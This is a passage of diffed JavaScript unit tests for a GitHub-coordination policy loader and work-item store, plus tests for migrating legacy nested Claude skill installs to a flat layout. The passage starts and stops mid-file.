writeConfig(tmpDir, { review: 'string' });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.review, DEFAULT_POLICY.review);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when parsed.review is null', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { review: null });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.review, DEFAULT_POLICY.review);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when parsed.review is an array', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { review: [] });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.review, DEFAULT_POLICY.review);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — validation merging:');
|
||||
|
||||
if (test('merges validation when parsed.validation is a plain object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { validation: { required: false } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.strictEqual(result.validation.required, false);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when parsed.validation is not an object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { validation: 42 });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.validation, DEFAULT_POLICY.validation);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — branchModel merging:');
|
||||
|
||||
if (test('merges branchModel when parsed.branchModel is a plain object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { branchModel: { epicOnly: false, taskBranches: true } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.strictEqual(result.branchModel.epicOnly, false);
|
||||
assert.strictEqual(result.branchModel.taskBranches, true);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when parsed.branchModel is not an object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { branchModel: true });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.branchModel, DEFAULT_POLICY.branchModel);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — project merging:');
|
||||
|
||||
if (test('merges project when parsed.project is a plain object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { project: { enabled: true } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.strictEqual(result.project.enabled, true);
|
||||
assert.deepStrictEqual(result.project.fieldNames, DEFAULT_POLICY.project.fieldNames);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when parsed.project is not an object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { project: 'invalid' });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.project, DEFAULT_POLICY.project);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when parsed.project is null', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { project: null });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.project, DEFAULT_POLICY.project);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — project.fieldNames merging:');
|
||||
|
||||
if (test('merges fieldNames when project.fieldNames is a plain object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { project: { enabled: true, fieldNames: { status: 'MyStatus' } } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.strictEqual(result.project.fieldNames.status, 'MyStatus');
|
||||
assert.strictEqual(result.project.fieldNames.owner, DEFAULT_POLICY.project.fieldNames.owner);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when project.fieldNames is not an object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { project: { fieldNames: 'bad' } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.project.fieldNames, DEFAULT_POLICY.project.fieldNames);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when project.fieldNames is null', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { project: { fieldNames: null } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.project.fieldNames, DEFAULT_POLICY.project.fieldNames);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when project.fieldNames is an array', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { project: { fieldNames: [] } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.project.fieldNames, DEFAULT_POLICY.project.fieldNames);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — sourcePath:');
|
||||
|
||||
if (test('sets sourcePath to the resolved config file path', () => {
|
||||
withTempDir(tmpDir => {
|
||||
const configPath = writeConfig(tmpDir, {});
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.strictEqual(result.sourcePath, configPath);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\n Results: ${passed} passed, ${failed} failed`);
|
||||
if (failed > 0) process.exit(1);
|
||||
@@ -0,0 +1,208 @@
|
||||
/**
|
||||
* Tests for scripts/lib/github-coordination/store.js — branch coverage
|
||||
*
|
||||
* Run with: node tests/lib/github-coordination-store.test.js
|
||||
*/
|
||||
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
|
||||
const {
|
||||
epicWorkItemId,
|
||||
upsertCoordinationWorkItem,
|
||||
openStore,
|
||||
} = require('../../scripts/lib/github-coordination/store');
|
||||
|
||||
const { DEFAULT_SCHEMA_VERSION, DEFAULT_POLICY } = require('../../scripts/lib/github-coordination/policy');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` ✓ ${name}`);
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.log(` ✗ ${name}`);
|
||||
console.log(` Error: ${err.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function makeStore() {
|
||||
const calls = [];
|
||||
return {
|
||||
calls,
|
||||
upsertWorkItem(item) {
|
||||
calls.push(item);
|
||||
return item;
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
console.log('\n=== Testing github-coordination/store.js ===\n');
|
||||
|
||||
console.log('epicWorkItemId:');
|
||||
|
||||
if (test('produces a stable ID from repo and issue number', () => {
|
||||
assert.strictEqual(epicWorkItemId('acme/my-repo', 42), 'github-acme-my-repo-epic-42');
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nupsertCoordinationWorkItem — null store:');
|
||||
|
||||
if (test('returns null when store is null', () => {
|
||||
const result = upsertCoordinationWorkItem(null, 'r/r', { number: 1 }, {}, 'sync');
|
||||
assert.strictEqual(result, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('returns null when store is undefined', () => {
|
||||
const result = upsertCoordinationWorkItem(undefined, 'r/r', { number: 1 }, {}, 'sync');
|
||||
assert.strictEqual(result, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nupsertCoordinationWorkItem — with store:');
|
||||
|
||||
if (test('passes schemaVersion from state when present', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { schemaVersion: 'v99', status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].metadata.schemaVersion, 'v99');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('uses DEFAULT_SCHEMA_VERSION when state.schemaVersion is absent', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].metadata.schemaVersion, DEFAULT_SCHEMA_VERSION);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets issueUrl from issue.url when present', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, url: 'https://example.com/1', labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].metadata.issueUrl, 'https://example.com/1');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets issueUrl to null when issue.url is absent', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].metadata.issueUrl, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets issueTitle from issue.title when present', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, title: 'My Epic', labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].metadata.issueTitle, 'My Epic');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets issueTitle to null when issue.title is absent', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].metadata.issueTitle, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('uses custom policy from options.policy', () => {
|
||||
const store = makeStore();
|
||||
const customPolicy = { schemaVersion: 'custom', labels: {}, review: {}, validation: {}, branchModel: {}, project: { enabled: true, fieldNames: {} } };
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync', { policy: customPolicy });
|
||||
assert.strictEqual(store.calls[0].metadata.projectProjection.enabled, true);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back to DEFAULT_POLICY when options.policy is absent', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync', {});
|
||||
assert.strictEqual(store.calls[0].metadata.projectProjection.enabled, DEFAULT_POLICY.project.enabled);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets priority high when state.status is blocked', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'blocked' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].priority, 'high');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets priority normal when state.status is not blocked', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].priority, 'normal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets url from issue.url in upsertWorkItem call', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, url: 'https://gh/1', labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].url, 'https://gh/1');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets url to null when issue.url absent in upsertWorkItem call', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].url, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('uses state.owner when present', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available', owner: 'alice' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].owner, 'alice');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back to issue.author.login when state.owner absent', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [], author: { login: 'bob' } }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].owner, 'bob');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets owner to null when neither state.owner nor author.login present', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].owner, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('uses options.repoRoot when present', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync', { repoRoot: '/my/repo' });
|
||||
assert.strictEqual(store.calls[0].repoRoot, '/my/repo');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back to process.cwd() when options.repoRoot absent', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].repoRoot, process.cwd());
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('uses options.sessionId when present', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync', { sessionId: 'sess-1' });
|
||||
assert.strictEqual(store.calls[0].sessionId, 'sess-1');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('sets sessionId to null when options.sessionId absent', () => {
|
||||
const store = makeStore();
|
||||
upsertCoordinationWorkItem(store, 'a/b', { number: 1, labels: [] }, { status: 'available' }, 'sync');
|
||||
assert.strictEqual(store.calls[0].sessionId, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nopenStore — dbPath: false:');
|
||||
|
||||
async function runAsyncTests() {
|
||||
let asyncPassed = 0;
|
||||
let asyncFailed = 0;
|
||||
|
||||
try {
|
||||
const result = await openStore({ dbPath: false });
|
||||
assert.strictEqual(result, null);
|
||||
console.log(' ✓ returns null when dbPath is false');
|
||||
asyncPassed++;
|
||||
} catch (err) {
|
||||
console.log(' ✗ returns null when dbPath is false');
|
||||
console.log(` Error: ${err.message}`);
|
||||
asyncFailed++;
|
||||
}
|
||||
|
||||
const totalPassed = passed + asyncPassed;
|
||||
const totalFailed = failed + asyncFailed;
|
||||
console.log(`\n Results: ${totalPassed} passed, ${totalFailed} failed`);
|
||||
if (totalFailed > 0) process.exit(1);
|
||||
}
|
||||
|
||||
runAsyncTests().catch(err => {
|
||||
console.error(`Unexpected async test failure: ${err.message}`);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -0,0 +1,811 @@
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
|
||||
const { applyInstallPlan } = require('../../scripts/lib/install/apply');
|
||||
const { readInstallState, writeInstallState } = require('../../scripts/lib/install-state');
|
||||
const { uninstallInstalledStates } = require('../../scripts/lib/install-lifecycle');
|
||||
|
||||
function createTempDir(prefix) {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
||||
}
|
||||
|
||||
function cleanup(dirPath) {
|
||||
fs.rmSync(dirPath, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
function createOperation(moduleId, sourceRoot, sourceRelativePath, destinationPath) {
|
||||
return {
|
||||
kind: 'copy-file',
|
||||
moduleId,
|
||||
sourcePath: path.join(sourceRoot, sourceRelativePath),
|
||||
sourceRelativePath,
|
||||
destinationPath,
|
||||
strategy: 'preserve-relative-path',
|
||||
ownership: 'managed',
|
||||
scaffoldOnly: false,
|
||||
};
|
||||
}
|
||||
|
||||
function createFixture(options = {}) {
|
||||
const tempDir = createTempDir('claude-skill-migration-');
|
||||
const homeDir = path.join(tempDir, 'home');
|
||||
const projectRoot = path.join(tempDir, 'project');
|
||||
const sourceRoot = path.join(tempDir, 'source');
|
||||
const target = options.target || 'claude';
|
||||
const targetRoot = target === 'claude'
|
||||
? path.join(homeDir, '.claude')
|
||||
: path.join(projectRoot, '.claude');
|
||||
const installStatePath = path.join(targetRoot, 'ecc', 'install-state.json');
|
||||
const skillFiles = options.skillFiles || {
|
||||
'SKILL.md': '# Current ECC skill\n',
|
||||
'references/guide.md': '# Current ECC guide\n',
|
||||
};
|
||||
|
||||
for (const [relativePath, content] of Object.entries(skillFiles)) {
|
||||
const sourcePath = path.join(sourceRoot, 'skills', 'demo-skill', relativePath);
|
||||
fs.mkdirSync(path.dirname(sourcePath), { recursive: true });
|
||||
fs.writeFileSync(sourcePath, content);
|
||||
}
|
||||
|
||||
const operations = Object.keys(skillFiles).map(relativePath => createOperation(
|
||||
'workflow-quality',
|
||||
sourceRoot,
|
||||
path.join('skills', 'demo-skill', relativePath),
|
||||
path.join(targetRoot, 'skills', 'demo-skill', relativePath)
|
||||
));
|
||||
const statePreview = {
|
||||
schemaVersion: 'ecc.install.v1',
|
||||
installedAt: new Date().toISOString(),
|
||||
target: {
|
||||
id: target === 'claude' ? 'claude-home' : 'claude-project',
|
||||
target,
|
||||
kind: target === 'claude' ? 'home' : 'project',
|
||||
root: targetRoot,
|
||||
installStatePath,
|
||||
},
|
||||
request: {
|
||||
profile: null,
|
||||
modules: ['workflow-quality'],
|
||||
includeComponents: [],
|
||||
excludeComponents: [],
|
||||
legacyLanguages: [],
|
||||
legacyMode: false,
|
||||
},
|
||||
resolution: {
|
||||
selectedModules: ['workflow-quality'],
|
||||
skippedModules: [],
|
||||
},
|
||||
source: {
|
||||
repoVersion: null,
|
||||
repoCommit: null,
|
||||
manifestVersion: 1,
|
||||
},
|
||||
operations: operations.map(operation => ({ ...operation })),
|
||||
};
|
||||
|
||||
return {
|
||||
tempDir,
|
||||
homeDir,
|
||||
projectRoot,
|
||||
sourceRoot,
|
||||
target,
|
||||
targetRoot,
|
||||
installStatePath,
|
||||
operations,
|
||||
plan: {
|
||||
mode: 'manifest',
|
||||
target,
|
||||
adapter: {
|
||||
id: target === 'claude' ? 'claude-home' : 'claude-project',
|
||||
target,
|
||||
kind: target === 'claude' ? 'home' : 'project',
|
||||
},
|
||||
targetRoot,
|
||||
installRoot: targetRoot,
|
||||
installStatePath,
|
||||
operations,
|
||||
statePreview,
|
||||
warnings: [],
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function legacyDestinationPath(targetRoot, operation) {
|
||||
const sourceParts = operation.sourceRelativePath.split(path.sep);
|
||||
return path.join(targetRoot, 'skills', 'ecc', ...sourceParts.slice(1));
|
||||
}
|
||||
|
||||
function seedLegacyInstall(fixture, options = {}) {
|
||||
const legacyOperations = fixture.operations.map((operation, index) => {
|
||||
const destinationPath = legacyDestinationPath(fixture.targetRoot, operation);
|
||||
fs.mkdirSync(path.dirname(destinationPath), { recursive: true });
|
||||
fs.writeFileSync(destinationPath, `# Legacy managed file ${index}\n`);
|
||||
return {
|
||||
...operation,
|
||||
sourceRelativePath: options.windowsSourcePaths
|
||||
? operation.sourceRelativePath.split(path.sep).join('\\')
|
||||
: operation.sourceRelativePath,
|
||||
destinationPath,
|
||||
};
|
||||
});
|
||||
|
||||
writeInstallState(fixture.installStatePath, {
|
||||
...fixture.plan.statePreview,
|
||||
operations: legacyOperations,
|
||||
});
|
||||
return legacyOperations;
|
||||
}
|
||||
|
||||
function runUninstall(fixture) {
|
||||
return uninstallInstalledStates({
|
||||
homeDir: fixture.homeDir,
|
||||
projectRoot: fixture.projectRoot,
|
||||
targets: [fixture.target],
|
||||
});
|
||||
}
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` \u2713 ${name}`);
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.log(` \u2717 ${name}`);
|
||||
console.log(` Error: ${error.stack || error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function runTests() {
|
||||
console.log('\n=== Testing Claude flat-skill migration ===\n');
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
for (const target of ['claude', 'claude-project']) {
|
||||
if (test(`migrates state-managed nested skills for ${target} without deleting untracked files`, () => {
|
||||
const fixture = createFixture({ target });
|
||||
try {
|
||||
const legacyOperations = seedLegacyInstall(fixture, {
|
||||
windowsSourcePaths: target === 'claude-project',
|
||||
});
|
||||
const untrackedPath = path.join(
|
||||
fixture.targetRoot,
|
||||
'skills',
|
||||
'ecc',
|
||||
'demo-skill',
|
||||
'user-notes.md'
|
||||
);
|
||||
fs.writeFileSync(untrackedPath, '# User notes\n');
|
||||
|
||||
applyInstallPlan(fixture.plan);
|
||||
|
||||
for (const operation of fixture.operations) {
|
||||
assert.strictEqual(
|
||||
fs.readFileSync(operation.destinationPath, 'utf8'),
|
||||
fs.readFileSync(operation.sourcePath, 'utf8')
|
||||
);
|
||||
}
|
||||
for (const operation of legacyOperations) {
|
||||
assert.ok(!fs.existsSync(operation.destinationPath), operation.destinationPath);
|
||||
}
|
||||
assert.strictEqual(fs.readFileSync(untrackedPath, 'utf8'), '# User notes\n');
|
||||
|
||||
const state = readInstallState(fixture.installStatePath);
|
||||
assert.ok(state.operations.some(operation => (
|
||||
operation.destinationPath === fixture.operations[0].destinationPath
|
||||
)));
|
||||
assert.ok(!state.operations.some(operation => (
|
||||
operation.destinationPath.includes(path.join('skills', 'ecc', 'demo-skill'))
|
||||
)));
|
||||
|
||||
const rerun = applyInstallPlan(fixture.plan);
|
||||
assert.deepStrictEqual(rerun.skippedOperations, []);
|
||||
assert.strictEqual(fs.readFileSync(untrackedPath, 'utf8'), '# User notes\n');
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.ok(!fs.existsSync(fixture.operations[0].destinationPath));
|
||||
assert.strictEqual(fs.readFileSync(untrackedPath, 'utf8'), '# User notes\n');
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
}
|
||||
|
||||
if (test('selective migration preserves unrelated legacy skills and uninstall ownership', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const legacyOperations = seedLegacyInstall(fixture);
|
||||
const otherSourceRelativePath = path.join('skills', 'other-skill', 'SKILL.md');
|
||||
const otherSourcePath = path.join(fixture.sourceRoot, otherSourceRelativePath);
|
||||
const otherLegacyPath = path.join(
|
||||
fixture.targetRoot,
|
||||
'skills',
|
||||
'ecc',
|
||||
'other-skill',
|
||||
'SKILL.md'
|
||||
);
|
||||
fs.mkdirSync(path.dirname(otherSourcePath), { recursive: true });
|
||||
fs.mkdirSync(path.dirname(otherLegacyPath), { recursive: true });
|
||||
fs.writeFileSync(otherSourcePath, '# Other source\n');
|
||||
fs.writeFileSync(otherLegacyPath, '# Other legacy managed skill\n');
|
||||
const otherLegacyOperation = createOperation(
|
||||
'other-module',
|
||||
fixture.sourceRoot,
|
||||
otherSourceRelativePath,
|
||||
otherLegacyPath
|
||||
);
|
||||
writeInstallState(fixture.installStatePath, {
|
||||
...fixture.plan.statePreview,
|
||||
operations: [...legacyOperations, otherLegacyOperation],
|
||||
});
|
||||
|
||||
applyInstallPlan(fixture.plan);
|
||||
|
||||
assert.ok(legacyOperations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
assert.strictEqual(
|
||||
fs.readFileSync(otherLegacyPath, 'utf8'),
|
||||
'# Other legacy managed skill\n'
|
||||
);
|
||||
const state = readInstallState(fixture.installStatePath);
|
||||
assert.ok(state.operations.some(operation => (
|
||||
operation.destinationPath === otherLegacyPath
|
||||
)));
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.ok(!fs.existsSync(otherLegacyPath));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('reruns a completed migration idempotently and remains uninstallable', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const legacyOperations = seedLegacyInstall(fixture);
|
||||
applyInstallPlan(fixture.plan);
|
||||
const stateAfterMigration = readInstallState(fixture.installStatePath);
|
||||
|
||||
const rerun = applyInstallPlan(fixture.plan);
|
||||
const stateAfterRerun = readInstallState(fixture.installStatePath);
|
||||
|
||||
assert.deepStrictEqual(rerun.skippedOperations, []);
|
||||
assert.ok(!rerun.warnings.some(warning => (
|
||||
warning.includes('user-owned') || warning.includes('nested copy')
|
||||
)));
|
||||
assert.deepStrictEqual(stateAfterRerun, stateAfterMigration);
|
||||
assert.ok(fixture.operations.every(operation => (
|
||||
fs.readFileSync(operation.destinationPath, 'utf8')
|
||||
=== fs.readFileSync(operation.sourcePath, 'utf8')
|
||||
)));
|
||||
assert.ok(legacyOperations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
assert.ok(!fs.existsSync(path.join(fixture.targetRoot, 'skills', 'ecc')));
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.ok(fixture.operations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('preserves a user-owned flat skill and keeps legacy ownership for uninstall', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const legacyOperations = seedLegacyInstall(fixture);
|
||||
const userSkillPath = fixture.operations[0].destinationPath;
|
||||
fs.mkdirSync(path.dirname(userSkillPath), { recursive: true });
|
||||
fs.writeFileSync(userSkillPath, '# User-owned flat skill\n');
|
||||
|
||||
const result = applyInstallPlan(fixture.plan);
|
||||
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User-owned flat skill\n');
|
||||
assert.ok(legacyOperations.every(operation => fs.existsSync(operation.destinationPath)));
|
||||
assert.ok(result.warnings.some(warning => (
|
||||
warning.includes('demo-skill') && warning.includes('user-owned')
|
||||
)), JSON.stringify(result.warnings));
|
||||
assert.strictEqual(result.operations.length, 0);
|
||||
assert.strictEqual(result.skippedOperations.length, fixture.operations.length);
|
||||
|
||||
const state = readInstallState(fixture.installStatePath);
|
||||
assert.ok(legacyOperations.every(legacyOperation => (
|
||||
state.operations.some(operation => operation.destinationPath === legacyOperation.destinationPath)
|
||||
)));
|
||||
assert.ok(!state.operations.some(operation => (
|
||||
operation.destinationPath === fixture.operations[0].destinationPath
|
||||
)));
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User-owned flat skill\n');
|
||||
assert.ok(legacyOperations.every(operation => !fs.existsSync(operation.destinationPath)));
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('does not claim or merge into a user-owned flat skill on first install', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const userSkillPath = fixture.operations[0].destinationPath;
|
||||
fs.mkdirSync(path.dirname(userSkillPath), { recursive: true });
|
||||
fs.writeFileSync(userSkillPath, '# User-owned flat skill\n');
|
||||
|
||||
const result = applyInstallPlan(fixture.plan);
|
||||
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User-owned flat skill\n');
|
||||
assert.ok(!fs.existsSync(fixture.operations[1].destinationPath));
|
||||
assert.ok(result.warnings.some(warning => warning.includes('user-owned')));
|
||||
assert.strictEqual(result.operations.length, 0);
|
||||
assert.strictEqual(result.skippedOperations.length, fixture.operations.length);
|
||||
assert.deepStrictEqual(readInstallState(fixture.installStatePath).operations, []);
|
||||
|
||||
const uninstall = runUninstall(fixture);
|
||||
assert.strictEqual(uninstall.summary.errorCount, 0);
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User-owned flat skill\n');
|
||||
} finally {
|
||||
cleanup(fixture.tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('updates recorded flat files but preserves conflicting unrecorded files', () => {
|
||||
const initial = createFixture({
|
||||
skillFiles: {
|
||||
'SKILL.md': '# Initial ECC skill\n',
|
||||
},
|
||||
});
|
||||
let expanded;
|
||||
try {
|
||||
applyInstallPlan(initial.plan);
|
||||
expanded = createFixture({
|
||||
skillFiles: {
|
||||
'SKILL.md': '# Updated ECC skill\n',
|
||||
'references/guide.md': '# ECC guide\n',
|
||||
'references/new.md': '# New managed file\n',
|
||||
},
|
||||
});
|
||||
const expandedOriginalTargetRoot = expanded.targetRoot;
|
||||
expanded.homeDir = initial.homeDir;
|
||||
expanded.projectRoot = initial.projectRoot;
|
||||
expanded.targetRoot = initial.targetRoot;
|
||||
expanded.installStatePath = initial.installStatePath;
|
||||
expanded.operations = expanded.operations.map(operation => ({
|
||||
...operation,
|
||||
destinationPath: path.join(
|
||||
initial.targetRoot,
|
||||
path.relative(expandedOriginalTargetRoot, operation.destinationPath)
|
||||
),
|
||||
}));
|
||||
expanded.plan = {
|
||||
...expanded.plan,
|
||||
targetRoot: initial.targetRoot,
|
||||
installRoot: initial.targetRoot,
|
||||
installStatePath: initial.installStatePath,
|
||||
operations: expanded.operations,
|
||||
statePreview: {
|
||||
...expanded.plan.statePreview,
|
||||
target: {
|
||||
...expanded.plan.statePreview.target,
|
||||
root: initial.targetRoot,
|
||||
installStatePath: initial.installStatePath,
|
||||
},
|
||||
operations: expanded.operations,
|
||||
},
|
||||
};
|
||||
|
||||
const userGuidePath = expanded.operations[1].destinationPath;
|
||||
fs.mkdirSync(path.dirname(userGuidePath), { recursive: true });
|
||||
